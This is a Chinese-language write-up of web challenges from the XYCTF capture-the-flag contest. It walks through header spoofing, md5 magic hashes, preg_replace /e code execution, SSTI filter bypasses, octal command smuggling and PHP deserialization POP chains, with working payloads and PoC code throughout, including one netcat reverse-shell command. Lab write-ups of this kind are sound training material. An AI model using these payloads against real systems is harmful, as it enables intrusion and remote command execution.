WEB
ezhttp
源代码发现:为了防止忘记密码,我把它们放在某个地方了
信息泄露:robots.txt
发现 Disallow: /l0g1n.txt ==> 得到账号密码
不是 yuanshen.com 来的我不要 ==>Referer: yuanshen.com
你用的不是XYCTF的浏览器==> User-Agent: XYCTF
非本地用户禁止访问! ==>X-Forwarded-For: 127.0.0.1 X-Real-Ip: 127.0.0.1 (这两个都行不通)
最终: Client-Ip: 127.0.0.1
不是从 ymzx.qq.com 代理来的我不玩==>Via: ymzx.qq.com
有点饿,想吃点XYCTF的小饼干==>Cookies: XYCTF
———冒号后面加空格!!!*(尤其是hackbar)
OVER
Warm Up
1
| $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2']
|
1
| isset($md5) && $md5 == md5($md5)
|
1
| $XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")
|
payload:val1=240610708&val2=s878926199a&md5=0e215962017&XY=QNKCDZO&XYCTF=QNKCDZO
显示 LLeeevvveeelll222.php==> 打开
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) { echo "操作你O.o"; echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']);
POST_a用数组绕过+++++e模式
payload:?a=/a/e&b=system(‘cat /flag’)&c=/a/e————POST: a[]=1
OVER
ezMake(命令执行绕过+shell变量替换符读文件 )
利用shell变量替换符$(<file)读文件
直接echo $(<flag)
发现不行
试试echo $$(</flag)可行
ez?Make(读文件+文件名过滤)
通过shell正则匹配到flag文件,用more读取(大概禁了f,l,a,g ,/字符)
[^b] 代表不是b的其他字符
1
| cd .. &&cd .. &&cd .. &&more [^e][^b][^b][^b]
|
εZ?¿м@Kε¿?(报错读文件+makefile自动变量)
Makefile 自动变量
在Makefile中,@ 、 @、@、^、$<这种类型的变量一般称为自动变量,自动变量是局部变量,作用域范围在当前的规则内,它们分别代表不同的含义:
$@:目标
$^:所有目标依赖
$<:目标依赖列表中的第一个依赖
$?:所有目标依赖中被修改过的文件
这里第一个依赖是就是 /flag
(注意==坑点==,之前不要试$>,会导致重定向输出创建新文件了,直接影响了后续判断为依赖是
FLAG,卡了半天读不到/flag)
配合报错带出即可 参照前面ezMake
坑点:这里两个 $$ 才代表一个 $
payload:$$(<$<)
easymd5(文件比较)
将JPG文件甩在工具fastcoll上
生成2个文件
OVER
说英文的复读(机弱密码+SSTI的简单绕过(requests))
1.抓包爆破==>密码:asdqwe
2.fuzz=>发现SSTI
requests,args,.没有过滤
直接requests
绕过关键词过滤|attr()
绕过[]
过滤
1
| ?sentence=(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()啊啊&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
|
或者
1 2
| ?sentence=【lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()【&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read ?sentence=【】lipsum|attr(request.args.glo)|attr(request.args.ge)(request.args.o)|attr(request.args.po)(request.args.cmd)|attr(request.args.re)()&glo=__globals__&ge=__getitem__&o=os&po=popen&cmd=cat /flag&re=read
|
1
| ?sentence=【(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()【&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=cat /flag
|
zzl的护理小课堂(js代码审计)
var flagXhr = new XMLHttpRequest();
flagXhr.open(‘GET’, ‘flag.php’, true);
flagXhr.onreadystatechange = function() {
if (flagXhr.readyState === 4 && flagXhr.status === 200) {
var flag = flagXhr.responseText;
document.getElementById(‘scoreDisplay’).innerText = “Flag: “ + flag;
}
};
flagXhr.send(); // 发送请求获取 flag
控制台:
var flagXhr = new XMLHttpRequest();
flagXhr.open(‘GET’, ‘flag.php’, true);
flagXhr.onreadystatechange = function() {
if (flagXhr.readyState === 4 && flagXhr.status === 200) {
var flag = flagXhr.responseText;
document.getElementById(‘scoreDisplay’).innerText = “Flag: “ + flag;
}
};
flagXhr.send();
OVER
牢大
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php highlight_file(__FILE__); function Kobe($cmd) { if (strlen($cmd) > 13) { die("see you again~"); } if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) { die("肘死你"); } foreach ($_GET as $val_name => $val_val) { if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) { return "what can i say"; } (过滤了含"bin"、"mv"、"cp"、"ls"、"|"、"f"、"a"、"l"、"?"、"*"、">"的字符串,不区分大小写。) } return $cmd; }
$cmd = Kobe($_GET['cmd']); echo "#man," . $cmd . ",manba out"; echo "<br>"; eval("#man," . $cmd . ",mamba out");
|
way 1)有长度限制,好说strlen($cmd) > 13
考虑 反引号执行系统命令(只有两个字符) 等价于shell_exec(); 这个命令是没有回显的
做个转接头 逃逸 命令长度限制
$_GET[1]
;
在php中是单行注释符 用 %0a换行即可绕过(到下一行了)
cmd=%0a$_GET[1]
;%23 (%23—-#)
没有回显 考虑反弹shell—nc
?cmd=%0a$_GET[1]
;%23&1=nc ip +端口-e /bi’’n/sh
way2)直接cp外带到网站根目录进行读取,被过滤的字符就用正则匹配绕过
1
| ?cmd=%0A`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z][@-z] /v[@-z]r/www/htm[@-z]
|
这里#必须写成%23
ezRCE
payload:八进制绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); function waf($cmd) { $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; $cmd_char = str_split($cmd); foreach($cmd_char as $char){ if (!in_array($char, $white_list)){ die("really ez?"); } } return $cmd; } $cmd=waf($_GET["cmd"]); system($cmd);
|
**?cmd=$%27\143\141\164%27<$%27\57\146\154\141\147%27**———%27-> ‘
https://fushuling.com/index.php/2023/03/04/%E5%88%A9%E7%94%A8shell%E8%84%9A%E6%9C%AC%E5%8F%98%E9%87%8F%E6%9E%84%E9%80%A0%E6%97%A0%E5%AD%97%E6%AF%8D%E6%95%B0%E5%AD%97%E5%91%BD%E4%BB%A4/
1.列举了白名单,数字可用,想到八进制(十六进制有字母)
2.不能纯八进制绕过,会被当做字符串,没有意义,要用**$’八进制’包裹
3.空格在linux系统里面用八进制是不可以的,可以替代空格,就是会转义但是不能执行(比如:会被转义成cat /flag,但是不执行)空格不能用八进制绕过**,正好题目给了<——————–如果不给< 肯定会给别的,就是找替代品
4.于是被分成两部分,用<连接
ezClass
1 2 3 4 5 6 7 8
| <?php highlight_file(__FILE__); $a=$_GET['a']; $aa=$_GET['aa']; $b=$_GET['b']; $bb=$_GET['bb']; $c=$_GET['c']; ((new $a($aa))->$c())((new $b($bb))->$c());
|
结构 new 一个类(参数)->执行方法
利用Error类的静态方法 getMessage返回任意字符结合php的动态执行特性
?a=Error&aa=system&b=Error&bb=cat /flag&c=getMessage
ezSerialize
构造POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
class Flag {
public $token;
public $password;
public function __construct(){
$this->token=&$this->password;
$this->password =1;
}
}
$a=new Flag;
echo serialize($a);
|
题目将token的值弄成了md5(mt_rand()),我们要想传值给password,使其与token相等是不可能的,那么就只有把password的地址传给token,使password跟着token的改变而改变。
知识点:
php按地址传参,我们只需要让token和passowrd指向同一块地址就可以了。
本地运行后得到O:4:”Flag”:2:{s:5:”token”;i:1;s:8:”password”;R:2;}
传参进入下一步,得到fpclosefpclosefpcloseffflllaaaggg.php
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| <?php
highlight_file(__FILE__);
class A {
public $mack;
public function __invoke()
{
$this->mack->nonExistentMethod();
}
}
class B {
public $luo;
public function __get($key){
echo "o.O<br>";
$function = $this->luo;
return $function();
}
}
class C {
public $wang1;
public function __call($wang1,$wang2)
{
include 'flag.php';
echo $flag2;
}
}
class D {
public $lao;
public $chen;
public function __toString(){
echo "O.o<br>";
return is_null($this->lao->chen) ? "" : $this->lao->chen;
}
}
class E {
public $name = "xxxxx";
public $num;
public function __unserialize($data)
{
echo "<br>学到就是赚到!<br>";
echo $data['num'];
}
public function __wakeup(){
if($this->name!='' || $this->num!=''){
echo "旅行者别忘记旅行的意义!<br>";
}
}
}
if (isset($_POST['pop'])) {
unserialize($_POST['pop']);
}
|
构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php
class A {
public $mack;
}
class B {
public $luo;
}
class C {
public $wang1;
}
class D {
public $lao;
public $chen;
}
class E {
public $name="xxxxx";
public $num;
}
$a=new E();
$a->name=new D();
$a->name->lao=new B();
$a->name->lao->luo=new A();
$a->name->lao->luo->mack=new C();
echo serialize($a);
|
post得到
saber_master_saber_master.php 访问
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| <?php error_reporting(0); highlight_file(__FILE__);
class XYCTFNO1 { public $Liu; public $T1ng; private $upsw1ng; public function __construct($Liu, $T1ng, $upsw1ng = Showmaker) { $this->Liu = $Liu; $this->T1ng = $T1ng; $this->upsw1ng = $upsw1ng; } }
class XYCTFNO2 { public $crypto0; public $adwa; public function __construct($crypto0, $adwa) { $this->crypto0 = $crypto0; } public function XYCTF() { if ($this->adwa->crypto0 != 'dev1l' or $this->adwa->T1ng != 'yuroandCMD258') { return False; } else { return True; } } }
class XYCTFNO3 { public $KickyMu; public $fpclose; public $N1ght = "Crypto0"; public function __construct($KickyMu, $fpclose) { $this->KickyMu = $KickyMu; $this->fpclose = $fpclose; } public function XY() { if ($this->N1ght == 'oSthing') { echo "WOW, You web is really good!!!\n"; echo new $_POST['X']($_POST['Y']); } }
public function __wakeup()
{
if ($this->KickyMu->XYCTF()) {
$this->XY();
}
}
}
if (isset($_GET['CTF'])) {
unserialize($_GET['CTF']);
}
|
构造poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class XYCTFNO1 { public $Liu; public $T1ng; private $upsw1ng; } class XYCTFNO2{ public $crypto0; public $adwa; } class XYCTFNO3{ public $KickyMu; public $fpclose; public $N1ght = 'Crypto0'; } $a=new XYCTFNO3();
$a->N1ght='oSthing';
$a->KickyMu=new XYCTFNO2();
$a->KickyMu->adwa=new XYCTFNO1();
$a->KickyMu->adwa->T1ng='yuroandCMD258';
$a->KickyMu->adwa->crypto0='dev1l';
echo serialize($a);
|
最终命令执行触发点
1 2
| echo new $_POST['X']($_POST['Y']);
|
php原生类读文件 SplFileObject(默认读一行)
所以要结合php伪协议读文件全部内容
X=SplFileObject&Y=php://filter/convert.base64-encode/resource=flag.php
base64解码得flag
ezPop